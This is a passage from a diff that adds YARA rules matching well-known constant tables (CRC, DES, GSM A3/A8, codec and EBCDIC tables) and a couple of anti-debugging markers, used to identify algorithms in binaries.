000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule gc_pqf_common_c_a_half__flt64___64_lil_384_
+{
+strings:
+	$a0 = { 5d1ee81f8999e93ed9f8f0b1ba19f23edf46f5ff8fcbe93e8e5624cd6db8e6be3c7629f0174a0ebf7434753025bb20bfbead8dd2bf7a2bbf9b055f6c957532bfcc2e560a577834bfefd309b0fa8531bfe1e450871f531fbf1eba5a57ec4d223f32cfd0560503403fe20c1e2ed5854c3f39632d4ef493533f3d83909c9326563f0dda5b696b3a543f4c1714954d37493fdc10ad50dc630bbf6aa7e60e33de52bf834023fa5f4863bf5479d76143e16bbfc3ad6a3c4c6570bfe9b502aa80bd6fbfb8a04c0d5c3367bfb7929d4e94dd4bbfd861c23d18e55e3f051b2c013e5a743f4e8826b5d6f87f3f3ec21e8f0edf833fdf6c8e16ce78843f600bd74c2dcc803f6a27d3e17c0e713fc779e5369c165ebf5895d518c58282bf586c6e819ea190bfe4e60d5d527796bfe49328d6391f99bfcdb5cadc442297bf8ab8c66551f88ebf73f8ae09e2715dbf614b77df204f913f65cf7806ee4fa43f87cf872c4182b03fdca0a911e0beb63ff2fb06766230bc3f38f5160bfc1bc03fe4688cfd3f2ec13f }
+
+condition:
+	$a0
+}
+
+	
+rule lzari__StartModel___32_lil_AND_
+{
+strings:
+	$a0 = { 3a010000[0-20]10270000[0-20]c8000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdemux_tivo_Series2AudioWithPTS__32_big_24_
+{
+strings:
+	$a0 = { 0000016000000190000001f0000002500000031000000370 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book7__32_lil_768_
+{
+strings:
+	$a0 = { 0000000001000000000000000100000003000000050000000200000006000000370000000300000007000000740000000400000008000000f20000000500000009000000eb010000060000000a000000ed030000070000000b000000f707000008000000030000000400000009000000040000000c0000000a00000006000000350000000b00000007000000710000000c00000008000000ec0000000d00000008000000ee0000000e00000009000000ee0100000f00000009000000f50100001000000006000000360000001100000006000000340000001200000007000000720000001300000008000000ea0000001400000008000000f10000001500000009000000e90100001600000009000000f3010000170000000a000000f50300001800000007000000730000001900000007000000700000001a00000008000000eb0000001b00000008000000f00000001c00000009000000f10100001d00000009000000f00100001e0000000a000000ec0300001f0000000a000000fa0300002000000008000000f30000002100000008000000ed0000002200000009000000e80100002300000009000000ef010000240000000a000000ef030000250000000a000000f1030000260000000a000000f9030000270000000b000000fb0700002800000009000000ed0100002900000008000000ef0000002a00000009000000ea0100002b00000009000000f20100002c0000000a000000f30300002d0000000a000000f80300002e0000000b000000f90700002f0000000b000000fc070000300000000a000000ee0300003100000009000000ec0100003200000009000000f4010000330000000a000000f4030000340000000a000000f7030000350000000b000000f8070000360000000c000000fd0f0000370000000c000000fe0f0000380000000b000000f6070000390000000a000000f00300003a0000000a000000f20300003b0000000a000000f60300003c0000000b000000fa0700003d0000000b000000fd0700003e0000000c000000fc0f00003f0000000c000000ff0f0000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_CCITT_poly_0x1021__16_big_refl_True_
+{
+strings:
+	$a0 = { 000011892312329b462457ad653674bf8c489dc1af5abed3ca6cdbe5e97ef8f7108101083393221a56a5472c75b7643e9cc98d40bfdbae52daedcb64f9ffe8762102308b02101399672676af443455bdad4abcc38e589fd1eb6efae7c87cd9f53183200a1291031877a7662e54b5453cbdcbac429ed98f50fbefea66d8fdc9744204538d6116709f042015a9273236bbce4cdfc5ed5efcd7886899e1ab7abaf35285430c7197601e14a1052837b3263adecdcf44fddfec5698e98960bbfbaa726306728f4014519d252234ab063017b9ef4efec7cc5cddd5a96ab8e38a789bf17387620e5095411c35a3242a16b10738ffcfee46dcddcd54b9eba8629af98b7084089581a71ab693c22cd3a5e13ef0b7084019c92b523adb4e645fed6d767cff94898500b79ba612d2adc324f1bfe03618c109483bd32a5a5ee54f6c7df76c7ea50ab48386189791e32ef2a7c03cd1b5294238cb0a501bd96f667eef4c745dfdb58ba40296998710f3afe226d0bdc13439c3284a1ad10b587fe76e6e5cf54d7cc60cd785e51ef497802891a1a33ab2b34a445bcd695678df0c601de92f723efbd68dc704f59fe41690a98120b3bba2325ac54b4c79d7685e1ce10d683ff32e7ae70ef687c41cd595a12ab0a3823893b16b467acf485459dd2d623ceb0e701ff9f78fe606d49dc514b1aba02292b983307bc76a4e58d5495c3de32c6a1ef10f78 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__WINICE_BR__8_byt_STR_9_
+{
+strings:
+	$a0 = { 57494e4943452e4252 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xbdbdf21c__32_lil_refl_False_
+{
+strings:
+	$a0 = { 000000001cf2bdbd2416c6c638e47b7b54de3130482c8c8d70c8f7f66c3a4a4ba8bc6360b44ededd8caaa5a69058181bfc625250e090efedd8749496c486292b5079c7c04c8b7a7d746f0106689dbcbb04a7f6f018554b4d20b130363c438d8bf8c5a4a0e437191ddcd36266c021dfdbac1b9590b0e9282d880d535694ffeeebbc00333ca0f28e819816f5fa84e44847e8de020cf42cbfb1ccc8c4cad03a797714bc505c084eede130aa969a2c582b274062616c5c90dcd16474a7aa78861a17ec79f4fcf08b4941c86f323ad49d8f87b8a7c5cca45578719cb1030a8043beb744c5979c58372a2160d3515a7c21ece7101ba6ac0ce91b11340d606a28ffddd77801667864f3dbc55c17a0be40e51d032cdf5748302deaf508c9918e143b2c33d0bd0518cc4fb8a5f4abc3dee8597e638463342898918995a075f2eebc874f532878a1b8348a1c050c6e677e109cdac37ca6908860542d3558b0564e4442ebf380c4c2d89c367f65a4d2041eb820b9a3d41af3e8c8e84e55f00c352eecfe8893c4015544d8f3e8f9e0179382fce52e3f90df64748c2dd9c9b4c9a2b2a83b1f0f6cbd3624704f8b9948abf0e254594d5f386307142491baa91c75c1d200877c6f94789284888a2f39b06e5442ac9ce9ffc0a6a3b4dc541e09e4b06572f842d8cf3cc4f1e420364c5918d2372204208a9f681ac0d474e87d694c0c061250febbaff002ccf0ecf0714dd4140a36c8e6b78ba4dcfdc0b82e407d80ca3b069c3886bb58beaf90444c122d7ca86956605ad4eb0c609ea01092231d287658663484e5dba07b0b30bc89b68d846dcdf6989f704bf4a53a00e85787bdd0b3fcc6cc41417b08c768501435d5ed2cd1ae963023132b5c19596040ebe4dd780f9fa664fd221b4c02ffcc50f042716814390a74e684b718dccefc042e73413cca083a2038b587e4be9cacf84c2111c0a85a6adc5ae7d7b060ad9cac92102194766b5a8884d6e71c7b380c008985b1386dfeca249f437748a5093c5457b4816cb3cffa70417247b4c75b6ca835e6d190d19daa8c232017e0196a5cfcebd7e1c40fac9ad8fd11278803aa8894f11735ac156c4eb0e7d1f3dcdd9bb8c02f2605f8cb5d7ee439e0c320bfc9e83c4d745504a90f2e185bb2937461f8d86893456550773e1e4c8583a3d87a6d48c488d0f5fc6cab8ee09e16338ca45c789056e1c5a8b29abeb440270370c60e286c34b39554d0c8ee4822755324183f1838ea82a5000ef9de1cfc4463340399b428f1240910155f720ce7e2cf60dda8847c2f153944cb6e425839d3ff9cbffad4804d4769b8a93c12a45b81afc861cbe4d4937659ec770d22f085b09f647a5e747888e3c9406c98b25c9e250f30a46f442c56d2f914b2a9820840143fccc63d14d03480a9e8d0fbd2f422466f98180c2484eab199bc0ecae2a0fc775f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_asus_v1_v2_ccp_tab__8_byt_34_
+{
+strings:
+	$a0 = { 020207050b0503050d050505090501050e0506050a0502050c050405080503020f05 }
+
+condition:
+	$a0
+}
+
+	
+rule ascii_to_ebcdic_table__8_byt_256_
+{
+strings:
+	$a0 = { 00010203372d2e2f1605150b0c0d0e0f101112133c3d322618193f271c1d1e1f405a7f7b5b6c507d4d5d5c4e6b604b61f0f1f2f3f4f5f6f7f8f97a5e4c7e6e6f7cc1c2c3c4c5c6c7c8c9d1d2d3d4d5d6d7d8d9e2e3e4e5e6e7e8e9bbbcbd6a6d4a818283848586878889919293949596979899a2a3a4a5a6a7a8a9fb4ffdff07202122232404060828292a2b2c090a14303125333435361738393a3b1a1b3e5f41aab0b19fb2d0b579b49a8abacaafa1908feafabea0b6b39dda9b8bb7b8b9ab6465626663679e687471727378757677ac69edeeebefecbf80e0feddfcadae594445424643479c4854515253585556578c49cdcecbcfcce170c0dedbdc8d8edf }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_12__16_lil_514_
+{
+strings:
+	$a0 = { 0040433f863ec93d0d3d513c953bd93a1e3a6439aa38f13738378036c83511355a34a333ed3239328531d3302130702fbf2e102e612db42c072c5c2bb22a0a2a6229ba2812286b27c52621267e25de243e24a02303236922cf213821a2200f207c1fea1e591ecb1d3d1db31c291ca21b1b1b971a141a9419141998181c18a2172817ae163416bc154415d0145c14ec137c130f13a3123b12d3116e110a11a9104910e90f8a0f2e0fd30e7b0e230ecf0d7b0d290dd80c8a0c3d0cf30ba90b610b190bd10a890a430afd09ba0978093809f908bd08810847080e08d707a1076d0739070607d406a406740647061a06ef05c4059b0572054b0525050105dd04ba049704740451042f040d04ed03cd03af039103750359033e0324030b03f202db02c402ad02970282026d0259024502330221021002ff01ef01df01cf01c001b101a3019501870179016c015f01520146013a012e01230118010e010401fb00f200ea00e200da00d200ca00c300bc00b500ae00a800a2009c00960090008b00860081007c00770072006d006800640060005c005800540050004d004a004700440041003e003b00380036003400320030002e002c002a002800260024002200210020001f001e001d001c001b001a0019001800170016001500140013001200110010000f000e000d000c000b000a000900080007000600050004000300020001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_asus_v1_v2_dc_ccp_tab__8_byt_16_
+{
+strings:
+	$a0 = { 01020d040f040c0405030e0404030002 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_indeo_ir2_codes_le__16_lil_572_
+{
+strings:
+	$a0 = { 0000030004000300060003000100050009000500190005000d0005001d0005002300060013000600330006000b0006002b0006001b000600070008008700080027000800a700080067000800e7000800970008005700080037000800b7000800f70008000f0009008f0009008f0109004f010900cf0009002f0009002f010900af0109006f000900ef000900ef0109001f000a001f020a001f010a001f030a009f000a009f020a009f010a009f030a005f000a005f020a005f010a005f030a00df000a00df020a00df010a00df030a003f000d003f100d003f080d003f180d003f040d003f140d003f0c0d003f1c0d003f020d003f120d003f0a0d003f1a0d003f060d003f160d003f0e0d003f1e0d003f010d003f110d003f090d003f190d003f050d003f150d003f0d0d003f1d0d003f030d003f130d003f0b0d003f1b0d003f070d003f170d003f0f0d003f1f0d00bf000d00bf100d00bf080d00bf180d00bf040d00bf140d00bf0c0d00bf1c0d00bf020d00bf120d00bf0a0d00bf1a0d00bf060d00bf160d00bf0e0d00bf1e0d00bf010d00bf110d00bf090d00bf190d00bf050d00bf150d00bf0d0d00bf1d0d00bf030d00bf130d00bf0b0d00bf1b0d00bf070d00bf170d00bf0f0d00bf1f0d007f000e007f200e007f100e007f300e007f080e007f280e007f180e007f380e007f040e007f240e007f140e0002000300110005000500050015000500030006003b00060047000800c700080017000800d7000800770008000f0109004f000900cf010900af0009006f010900 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_dct_coeff_tbl_0__16_lil_512_
+{
+strings:
+	$a0 = { ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff2f051f050f05ff043f182f402f3c2f382f342f302f2c1f7c1f781f741f701f6c8e028e027e027e026e026e025e025e024e024e023e023e022e022e021e021e020e020e02ee04ee04de04de04ce04ce04be04be04ae04ae049e049e048e048e04fd01fd01fd01fd01ed01ed01ed01ed01dd01dd01dd01dd01cd01cd01cd01cd01bd01bd01bd01bd01ad01ad01ad01ad019d019d019d019d018d018d018d018d017d017d017d017d016d016d016d016d015d015d015d015d014d014d014d014d013d013d013d013d012d012d012d012d011d011d011d011d010d010d010d010d012c282c282c282c282c282c282c282c282c242c242c242c242c242c242c242c243c143c143c143c143c143c143c143c144c0c4c0c4c0c4c0c4c0c4c0c4c0c4c0c5c085c085c085c085c085c085c085c087c047c047c047c047c047c047c047c046c046c046c046c046c046c046c046c04fc00fc00fc00fc00fc00fc00fc00fc00ec00ec00ec00ec00ec00ec00ec00ec00dc00dc00dc00dc00dc00dc00dc00dc00cc00cc00cc00cc00cc00cc00cc00cc001c681c681c681c681c681c681c681c681c641c641c641c641c641c641c641c641c601c601c601c601c601c601c601c601c5c1c5c1c5c1c5c1c5c1c5c1c5c1c5c1c581c581c581c581c581c581c581c58 }
+
+condition:
+	$a0
+}
+
+	
+rule Lame_MP3_window_subband____mdct_routine_win__flt64___64_lil_1152_
+{
+strings:
+	$a0 = { 6642a40860c3503db3857f7e9999663df19bb31bc489703d25ffa67affbe733d2b92e3f68ad3743d25ffa67affbe733df29bb31bc489703db8857f7e9999663d7042a40860c3503dfc13fe650aff973d2c6343bd3f75953d9b8d793552a6923d8a31f9df33508f3de0eb33d3bd23893d35a66ec647f7823d1479e976aef5793d994584aff0736d3d377e5dd3364b523dfc13fe650aff97bd2c6343bd3f7595bd9b8d793552a692bd8a31f9df33508fbde2eb33d3bd2389bd35a66ec647f782bd1479e976aef579bd9a4584aff0736dbd377e5dd3364b52bd7a42a40860c350bdbc857f7e999966bdf59bb31bc48970bd25ffa67affbe73bd2b92e3f68ad374bd25ffa67affbe73bdf49bb31bc48970bdb9857f7e999966bd7042a40860c350bd6642a40860c3503db3857f7e9999663df19bb31bc489703d25ffa67affbe733d2b92e3f68ad3743d25ffa67affbe733df19bb31bc489703dba857f7e9999663d7042a40860c3503dfd13fe650aff973d2c6343bd3f75953d9b8d793552a6923d8d31f9df33508f3de0eb33d3bd23893d35a66ec647f7823d0f79e976aef5793d9a4584aff0736d3d377e5dd3364b523da8c6ce9be40498bdbb321867a6a495bd3dc282443d1a93bd2a3670689c6a90bd49018714ff358bbd60d26064c16185bd9f5ef6bb4c847ebd4a2c9720392671bdc0b43c3e69af53bd0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002f46cffb081250bd6f173bbbf5695cbd6cc81696c0354ebdf78bc931fdd9c03f31effc997982da3f74a6d653f18de83f5f071fe7ff75f13fe7b93ad902daf43f628fab9f6e1df93fb6aa38c157bcfe3fe49d3f334f500340368282186d5f09400c12842bf70a1240b072ba5d0d621e4067c3d12d5de73640171c818c8b83ef3f1d163c52b791e43ff70b8a74a8e3d53f1c2d5242f611ee3f88730b7e1a3ac6bf3850cfa26f83e8bfab4c58e87ab6eb3f000000000000e03fccbe6fcdbf76e0bf5fb65d48db30debffd01474f600ed4bfed1a8585ee48c7bf5953f2a70336b8bfd00682dd70f9a4bfc1a7599d23148dbff3d308c7684f6ebf55930f019570eb3f0ca83ffe3a37ec3f6fb5e79e5b63ee3f5ad10d2a5077ef3f5a0fd32d48dbef3f04811a901ff9ef3f4de4db982cffef3fd10528a5f1ffef3f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002f46cffb0812503d6f173bbbf5695c3d6cc81696c0354e3da8c6ce9be404983dbb321867a6a4953d3dc282443d1a933d2a3670689c6a903d49018714ff358b3d62d26064c161853d9f5ef6bb4c847e3d4a2c97203926713dc0b43c3e69af533dfd13fe650aff97bd2c6343bd3f7595bd9b8d793552a692bd8d31f9df33508fbde0eb33d3bd2389bd35a66ec647f782bd0f79e976aef579bd9a4584aff0736dbd377e5dd3364b52bd6642a40860c350bdb3857f7e999966bdf19bb31bc48970bd25ffa67affbe73bd2b92e3f68ad374bd25ffa67affbe73bdf19bb31bc48970bdba857f7e999966bd7042a40860c350bd }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_12__16_big_514_
+{
+strings:
+	$a0 = { 40003f433e863dc93d0d3c513b953ad93a1e396438aa37f13738368035c83511345a33a332ed3239318530d330212f702ebf2e102d612cb42c072b5c2ab22a0a296228ba2812276b26c52621257e24de243e23a02303226921cf213820a2200f1f7c1eea1e591dcb1d3d1cb31c291ba21b1b1a971a14199419141898181c17a2172816ae163415bc154414d0145c13ec137c130f12a3123b11d3116e110a10a910490fe90f8a0f2e0ed30e7b0e230dcf0d7b0d290cd80c8a0c3d0bf30ba90b610b190ad10a890a4309fd09ba0978093808f908bd08810847080e07d707a1076d0739070606d406a406740647061a05ef05c4059b0572054b0525050104dd04ba049704740451042f040d03ed03cd03af039103750359033e0324030b02f202db02c402ad02970282026d0259024502330221021001ff01ef01df01cf01c001b101a3019501870179016c015f01520146013a012e01230118010e010400fb00f200ea00e200da00d200ca00c300bc00b500ae00a800a2009c00960090008b00860081007c00770072006d006800640060005c005800540050004d004a004700440041003e003b00380036003400320030002e002c002a002800260024002200210020001f001e001d001c001b001a0019001800170016001500140013001200110010000f000e000d000c000b000a0009000800070006000500040003000200010000 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__PeID_OEP_Signature_Spoofing__8_byt_20_
+{
+strings:
+	$a0 = { eb033a4d3a1eeb02cd209ceb02cd20eb02cd2060 }
+
+condition:
+	$a0
+}
+
+	
+rule MBC2__bit_position___32_lil_AND_
+{
+strings:
+	$a0 = { 00000080[0-20]1f000000[0-20]00000040[0-20]1e000000[0-20]00000020[0-20]1d000000[0-20]00000010[0-20]1c000000[0-20]00000008[0-20]1b000000[0-20]00000004[0-20]1a000000[0-20]00000002[0-20]19000000[0-20]00000001[0-20]18000000[0-20]00008000[0-20]17000000[0-20]00004000[0-20]16000000[0-20]00002000[0-20]15000000[0-20]00001000[0-20]14000000[0-20]00000800[0-20]13000000[0-20]00000400[0-20]12000000[0-20]00000200[0-20]11000000[0-20]00000100[0-20]10000000[0-20]00800000[0-20]0f000000[0-20]00400000[0-20]0e000000[0-20]00200000[0-20]0d000000[0-20]00100000[0-20]0c000000[0-20]00080000[0-20]0b000000[0-20]00040000[0-20]0a000000[0-20]00020000[0-20]09000000[0-20]00010000[0-20]08000000[0-20]80000000[0-20]07000000[0-20]40000000[0-20]06000000[0-20]20000000[0-20]05000000[0-20]10000000[0-20]04000000[0-20]08000000[0-20]03000000[0-20]04000000[0-20]02000000[0-20]02000000[0-20]01000000 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_32_480__16_lil_74_
+{
+strings:
+	$a0 = { 040008000c001000140018001c002000240028002c003000340038003c0040004800500058006000680070007c0088009400a400b400c800e00000012001400160018001a001c001e001 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpeg2_default_intra_quantizer_matrix__8_byt_64_
+{
+strings:
+	$a0 = { 0810101310131616161616161a181a1b1b1b1a1a1a1a1b1b1b1d1d1d2222221d1d1d1b1b1d1d2020222225262523232223262628282830302e2e38383a454553 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_48_960_and_sfb_32_960__16_lil_100_
+{
+strings:
+	$a0 = { 040008000c001000140018001c0020002400280030003800400048005000580060006c00780084009000a000b000c400d800f00008012401400160018001a001c001e00100022002400260028002a002c002e00200032003400360038003a003c0030000 }
+
+condition:
+	$a0
+}
+
+	
+rule libntlm_DES_key_swap__32_big_64_
+{
+strings:
+	$a0 = { 00000000000000010000010000000101000100000001000100010100000101010100000001000001010001000100010101010000010100010101010001010101 }
+
+condition:
+	$a0
+}
+
+	
+rule Nush_64___Nessie_C_64__16_big_72_
+{
+strings:
+	$a0 = { ac258a93243d262ef887c4f28e369fa17dc06a296d8434bda267cc1504feb94adf2440ef96da905fd631aa624d1570cb753345fc5337d25ea9261c7b5f124ecc3c8628dbfc017cb1 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_dirac_schro_video_format_info__16_lil_136_
+{
+strings:
+	$a0 = { 8002e001c05de903b0007800983ae903b0009000190002006001f000983ae9036001200119000200c002e001983ae903c002400219000200d002e0013075e903d0024002190001000005d00260eae9030005d00232000100800738043075e90380073804190001008007380460eae903800738043200010000083804180001000010700818000100 }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox8__32_big_256_
+{
+strings:
+	$a0 = { 10001040000010000004000010041040100000001000104000000040100000000004004010040000100410400004100010041000000410400000100000000040100400001000004010001000000010400004100000040040100400401004100000001040000000000000000010040040100000401000100000041040000400000004104000040000100410000000100000000040100400400000100000041040100010000000004010000040100400001004004010000000000400001000104000000000100410400004004010000040100400001000100010001040000000001004104000041000000410000000104000001040000400401000000010041000 }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dol_short__flt32___32_lil_512_
+{
+strings:
+	$a0 = { 47b1373889e0f83882ec71392832cc3967cf1e3ae7d4693a7b60a53af4c6e23a99a6173b6faa463bc8b87f3bf119a23bd0caca3b2db7fa3bd758193c44cb393c31255f3c44ee843c07359d3c4ea4b83c1a7ad73c8cf4f93caf28103daf66253deed13c3d0d87563d59a1723d3f9d883d1e35993d0e23ab3d9270be3dc925d33d4a49e93d0470003e97f60c3e07391a3eff36283e28ef363e1f5f463e7083563e9057673ee2d5783eda7b853ea1da8e3ee482983ebc6fa23ecc9bac3e4401b73eea99c13e235fcc3efe49d73e4053e23e6e73ed3edea2f83ee0ec013f1988073f241f0d3f10ae123ff630183f02a41d3f7a03233fc54b283f72792d3f3b89323f1178373f1c433c3fc3e7403faf63453fcfb4493f5ad94d3fd3cf513f0997553f182e593f69945c3fb2c95f3ff2cd623f71a1653fbd44683fa3b86a3f30fe6c3fa6166f3f7d03713f59c6723f0461743f6ad5753f9225773f9653783fa061793fde517a3f83267b3fbee17b3fb2857c3f77147d3f13907d3f73fa7d3f70557e3fc3a27e3f0ce47e3fca1a7f3f5d487f3f076e7f3feb8c7f3f0da67f3f54ba7f3f8cca7f3f66d77f3f7ce17f3f53e97f3f5aef7f3feef37f3f5ff77f3fecf97f3fc9fb7f3f21fd7f3f15fe7f3fbffe7f3f33ff7f3f80ff7f3fb3ff7f3fd3ff7f3fe7ff7f3ff3ff7f3ff9ff7f3ffdff7f3fffff7f3f0000803f0000803f0000803f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_quantizer2__flt64___64_big_896_
+{
+strings:
+	$a0 = { 3fc1d27c393682733fd66f60e0eb67c33fe30e29ff2cf1503feb72799f7e350f3ff1f1d92b7fe08b3ff6362eab0e36243ffb225529fe004b40010442fdab91ea3fb27d135df825383fc7b3e1437c56933fd2e4d5e2cb10e03fda67839cd8127b3fe14d4cbf4b59f13fe5a84e024178c63fe9fba65eceed633fee532a3ec2de613ff13f7cd2b975d83ff34130164840e13ff5656ffc115df63ff7b5be5d9e40c83ffa3d5dc40075713ffd094812be48a640008fa58205285e400399513f8db4893fa337a7fbcbd79e3fba4bfd2e9468013fc481e486a7cf673fcba74c09c3ce213fd16da0214824313fd522e1a19b1ace3fd8f97683bfe88e3fdcfb7a5f41aef73fe09309c2a17aba3fe2babc9f2d2c5e3fe4ed352220bc383fe723dd5f9714593fe95408a08d7eae3feb7c30ddc36a233fedb354c122749f3fefe7eea15dde2d3ff0fe9424e592963ff2029f16b11c6d3ff3098f605ab3ab3ff4191361dc93ea3ff5310667f90d9d3ff654186b30d0823ff780a393ee5eee3ff8b8aa00192a733ffa0608729548d23ffb6266fd651b0d3ffcd7e132b55ef23ffe904d551d68c740006d5c81e116304001c9613d31b9b64003dd3019a33f35400a06d15ad106ee3fbc955b4677b3963fd6af9ebe9c88613fe48de4bfb2b2f03feec2df028469b23ff4b8897e9963133ff9e262cba732df3fffd6616b54e2b0400416abde3fbbd83fad8dbce3edf3053fc5be9856a37ac43fd30bb2bba98eda3fdc11d35c5df9db3fe2e48c81ae157d3fe7faa89d6d8ea43fed522c7d617fa23ff165918a009f623ff4343a647fdc593ff6dc7f0c4f999b3ff9aa5812e68c913ffca69595feda664000015e39713ad64001ea6d9f3fcbc8400531d4f9c1f85d40151aa1a1a5d7953f9e6f71a7e308783fb65a681e7ffb6b3fc27d6749654eb93fca24c404a72eae3fd133effc51caa33fd59429220d460f3fda29f59ccfaeff3fdeea9e642ea8b53fe1ef912251b9863fe4773c016301823fe70de4bfb2b2f03fe9bca95e5dae5c3fec7570c00695c63fef3647c00818523ff0ffd71b0468453ff26aac2b6c95553ff3d801b43526523ff53a398201cd603ff699a73b42cc2d3ff8020e6299524c3ff977cdcca70d203ffafb8c32a8c9b83ffc9056c508b32d3ffe427d88c1db0140000a81202610354001057d9dba908a40022ad502fc33c34003ce7ddca4b1254005c68760b1f17f4008d0dd82fd75e24012beae9ee45c364018ea44fd60128f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc_CC__flt64___64_lil_144_
+{
+strings:
+	$a0 = { 000000000000f040f085c9545555d5409a9999999999c9403c4ed1912449c240d49ae61dc771bc40a54e40131111b1402fdd24062184a040d1915cfe03419040986e128340208040454772f90f107040bc74931804086040b22e6ea301045040a7e8482eff01404054742497ff0030408d976e128300204039d6c56d3400104039d6c56d34000040000000000000f03f }
+
+condition:
+	$a0
+}
+
+	
+rule Haval_mc5__32_big_128_
+{
+strings:
+	$a0 = { ba3bf0507efb2a98a1f1651d39af017666ca593e82430e888cee8619456f9fb47d84a5c33b8b5ebee06f75d885c12073401a449f56c16aa64ed3aa62363f77061bfedf72429b023d37d0d724d00a1248db0fead349f1c09b075372c980991b7b25d479d8f6e8def7e3fe501ab6794c3b976ce0bd04c006bac1a94fb6409f60c4 }
+
+condition:
+	$a0
+}
+
+	
+rule US_ASCII_to_EBCDIC__character_set_IBM_1047__table__32_lil_1024_
+{
+strings:
+	$a0 = { 00000000010000000200000003000000370000002d0000002e0000002f0000001600000005000000150000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000003c0000003d000000320000002600000018000000190000003f000000270000001c0000001d0000001e0000001f000000400000005a0000007f0000007b0000005b0000006c000000500000007d0000004d0000005d0000005c0000004e0000006b000000600000004b00000061000000f0000000f1000000f2000000f3000000f4000000f5000000f6000000f7000000f8000000f90000007a0000005e0000004c0000007e0000006e0000006f0000007c000000c1000000c2000000c3000000c4000000c5000000c6000000c7000000c8000000c9000000d1000000d2000000d3000000d4000000d5000000d6000000d7000000d8000000d9000000e2000000e3000000e4000000e5000000e6000000e7000000e8000000e9000000ad000000e0000000bd0000005f0000006d00000079000000810000008200000083000000840000008500000086000000870000008800000089000000910000009200000093000000940000009500000096000000970000009800000099000000a2000000a3000000a4000000a5000000a6000000a7000000a8000000a9000000c00000004f000000d0000000a100000007000000200000002100000022000000230000002400000004000000060000000800000028000000290000002a0000002b0000002c000000090000000a00000014000000300000003100000025000000330000003400000035000000360000001700000038000000390000003a0000003b0000001a0000001b0000003e000000ff00000041000000aa0000004a000000b10000009f000000b20000006a000000b5000000bb000000b40000009a0000008a000000b0000000ca000000af000000bc000000900000008f000000ea000000fa000000be000000a0000000b6000000b30000009d000000da0000009b0000008b000000b7000000b8000000b9000000ab0000006400000065000000620000006600000063000000670000009e000000680000007400000071000000720000007300000078000000750000007600000077000000ac00000069000000ed000000ee000000eb000000ef000000ec000000bf00000080000000fd000000fe000000fb000000fc000000ba000000ae000000590000004400000045000000420000004600000043000000470000009c0000004800000054000000510000005200000053000000580000005500000056000000570000008c00000049000000cd000000ce000000cb000000cf000000cc000000e100000070000000dd000000de000000db000000dc0000008d0000008e000000df000000 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_A38_table_0__8_byt_512_
+{
+strings:
+	$a0 = { 66b1baa2029c704b3719080cfbc1f6bc6dd597352a4fbf73e9f2a4dfd1946ca1fc25f42f40d306edb9a08b714c8a3b46431a0d9d3fb3dd1ed624a645987ccf74f7c229544701310e5f23a915604ed7e1b6f31c5cc976044af880110b9284f530955a782757e66ae8af137ebeca8d89b0fa1b6528dbe33a1433b262d88c1620793d67cb481d6e55d4b4cc96b70f42acc438c59e00642d990790dea3a73c87d2e7aea526f9e022dce5d9d0f144cebd7dffef36a8597b7a499175ea8f6381c8c05268aa88eb5d51cdadec5e69342ee4c60539fe619b8e85c7abbb3241b57f6b93e2b8da83214d561f2c583eee12182b9a17509f866f0972035b1082530ac3f0fd77b166a2ba9c024b7019370c08c1fbbcf6d56d35974f2a73bff2e9dfa494d1a16c25fc2ff4d340ed06a0b9718b8a4c463b1a439d0db33f1edd24d645a67c9874cfc2f7542901470e31235f15a94e60e1d7f3b65c1c76c94a0480f80b11849230f55a952778e657e86a13afbe7e8dcab0891bfa2865e3db143ab233d862168c7920673d48cb6e1dd455ccb4b796420fc4acc538009e2d640799de90a7a3873ce7d2a5aef92622e0e5dcd0d944f1bdceff7d36ef59a87a7b9149ea75638fc88152c0aa68eb88515dadcd5eec3469e42e05c6fe399b61858eabc732bbb5416b7fe293dab82183564d2c1f3e5812ee2b18179a9f506f8672095b0382100a53f0c377fd }
+
+condition:
+	$a0
+}
+
+	
+rule XXEncodeTable__32_big_ASC_256_
+{
+strings:
+	$a0 = { 0000002b0000002d000000300000003100000032000000330000003400000035000000360000003700000038000000390000004100000042000000430000004400000045000000460000004700000048000000490000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000530000005400000055000000560000005700000058000000590000005a0000006100000062000000630000006400000065000000660000006700000068000000690000006a0000006b0000006c0000006d0000006e0000006f000000700000007100000072000000730000007400000075000000760000007700000078000000790000007a }
+
+condition:
+	$a0
+}
+
+	
+rule ReplayGainAnalysis_ABYule__flt64___64_lil_1512_
+{
+strings:
